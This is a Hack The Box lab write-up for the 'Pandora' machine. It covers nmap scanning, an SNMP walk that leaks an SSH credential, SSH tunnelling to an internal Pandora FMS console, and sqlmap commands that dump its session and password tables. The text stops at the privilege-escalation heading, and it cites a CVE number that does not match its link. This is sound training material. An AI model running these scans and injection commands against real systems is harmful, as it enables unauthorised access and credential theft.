> For the complete documentation index, see [llms.txt](https://calvin-lai.gitbook.io/calvin-lai-security/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://calvin-lai.gitbook.io/calvin-lai-security/hack-the-box-writeup/linux-machine/pandora-10.10.11.136.md). # Pandora 10.10.11.136 ## **Background** **Pandora** is a Linux base machine from [HackTheBox](https://app.hackthebox.eu/machines/359) that required your patient on web searching technique with some encoding concepts and Python Hacking skill is required on the privilege escalation. **Target Machine**: 10.10.11.136 **Attacker Machine**: 10.10.14.4 ## **Hacking Process Part 0 – Service Scanning** ### Nmap 1\) nmap -p- -T5 --min-rate=1000 10.10.11.136 -oG fkclai.nmap \ 2\) nmap -p $(grep -Eo '\[0-9]{1,5}/open' fkclai.nmap | cut -d '/' -f 1 | tr -s '\n' ',') -sC -sV 10.10.11.136 -o nmap-result.txt ![](/files/2UaAsnwCwjy2TdgqP1Kh) **Enumeration Strategies** No vulnerability was found on the SSH and HTTP service, it was going to review the web application to check any information leakage or misconfiguration. ## **Hacking Process Part 1 – Enumeration** With basic web enumeration using gobuster, a set of web pages was found and the following one was interesting with submission function. **However,** it does not find any interesting stuff ![](/files/yA5SfqwlOHEyYTEhCqdD) ![dirb http://pandora.htb/ /usr/share/wordlists/dirb/common.txt -o dirb-pandora.result](/files/58rF2zgojkRPoi6PAkTV) {% hint style="success" %} **THINKINGS:** checking UDP ports nmap -sC -sV -sU -top-ports=20 pandora.htb {% endhint %} ``` Nmap scan report for pandora.htb (10.10.11.136) Host is up (0.27s latency). PORT STATE SERVICE VERSION 53/udp closed domain 67/udp open|filtered dhcps 68/udp open|filtered dhcpc 69/udp closed tftp 123/udp open|filtered ntp 135/udp closed msrpc 137/udp open|filtered netbios-ns 138/udp open|filtered netbios-dgm 139/udp open|filtered netbios-ssn 161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public) | snmp-info: | enterprise: net-snmp | engineIDFormat: unknown | engineIDData: 48fa95537765c36000000000 | snmpEngineBoots: 30 |_ snmpEngineTime: 20m46s | snmp-processes: | 1: | | 2: | | 3: | |_ 4: | snmp-sysdescr: Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64 |_ System uptime: 20m46.36s (124636 timeticks) |_snmp-win32-software: 162/udp open|filtered snmptrap 445/udp open|filtered microsoft-ds 500/udp open|filtered isakmp 514/udp open|filtered syslog 520/udp closed route 631/udp closed ipp 1434/udp open|filtered ms-sql-m 1900/udp open|filtered upnp 4500/udp open|filtered nat-t-ike 49152/udp open|filtered unknown Service Info: Host: pandora Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 135.89 seconds ``` Checking the opening port one by one #### SNMP Port 161 {% embed url="" %} ``` // using the command snmpwalk snmpwalk -v 2c pandora.htb -c public> smpwalk.result iso.3.6.1.2.1.25.4.2.1.5.870 = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'" ``` Get a username `daniel`and password `HotelBabylon23,` try the SSH connection with this account ![](/files/pUDOpPefGg0OYTpBhbHD) ## **Hacking Process Part 2 –** Gaining Foothold Get the Initial access using the credential found at the SNMP connection string ![](/files/mHKNIQhhYNeJUtMNEZp3) Unfortunately, the account cannot access the user.txt
After reviewing the network, it found that there should be a website hosted internally, but it cannot be accessed outside. ![](/files/Zus0cudOEeuT6JCFoXqE) Try to use SSH tunnelling to redirect the page outside ![ssh -L 81:127.0.0.1:80 daniel@pandora.htb](/files/LIKOIAgPlTILQCGz00F8) ![The credential found before cannot login this website](/files/q5ZRXXQPhkCgzUCFPkrs) A [CVE-2020-5844 ](https://nvd.nist.gov/vuln/detail/CVE-2020-26518#range-6019001)was found on this v7.0NG.742\_FIX\_PERL2020, SQL injection vulnariblity was found. Using SQLMap to check the
![sqlmap -u "http://127.0.0.1:81/pandora\_console/include/chart\_generator.php?session\_id=1" --batch --dbms=mysql -D pandora -T tsessions\_php -C id\_session,data --dump](/files/JawQNHYGU3avmR58kPyZ) It was found that the name of Database: pandora, table tsessions\_php, and related field identified. Changed the command and executed it again ![sqlmap -u "http://127.0.0.1:81/pandora\_console/include/chart\_generator.php?session\_id=1" --batch --dbms=mysql -D pandora -T tpassword\_history -C id\_pass,id\_user,data\_end,password,data\_begin --dump](/files/cChV8s96569FkFEVtzmi) ## **Hacking Process Part 3 –** Privilege Escalation